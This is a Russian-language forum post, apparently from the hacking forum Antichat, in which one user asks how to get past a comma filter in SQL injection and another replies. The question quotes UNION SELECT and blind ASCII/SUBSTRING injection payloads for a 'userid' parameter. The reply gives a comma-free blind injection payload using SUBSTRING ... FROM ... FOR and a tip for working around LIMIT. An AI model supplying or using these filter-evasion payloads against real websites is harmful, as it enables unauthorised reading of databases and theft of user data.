Показать сообщение отдельно

  #5  
Старый 21.09.2009, 20:51
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от jangle  
Доброго времени суток всем уважаемым!

Подскажите плз, как можно обойти фильтрацию ',' (запятая) в sql при выполнении запросов типа

userid=10+UNION+SELECT+1,2,3,4,5,6/*
и
userid=10+and+ASCII(SUBSTRING(user(),1,1))>0/*

Заранее всем благодарен
В слепых скулях можно юзать так:

userid=10+and+ASCII(SUBSTRING(user() FROM 1 FOR 1))>0/*

первое - с какого символа, второе - сколько символов

Единственная накладка - в выборке с лимитом нужна запятая, но можно обойтись, к примеру этим where id = 1 и т.д.
 
Ответить с цитированием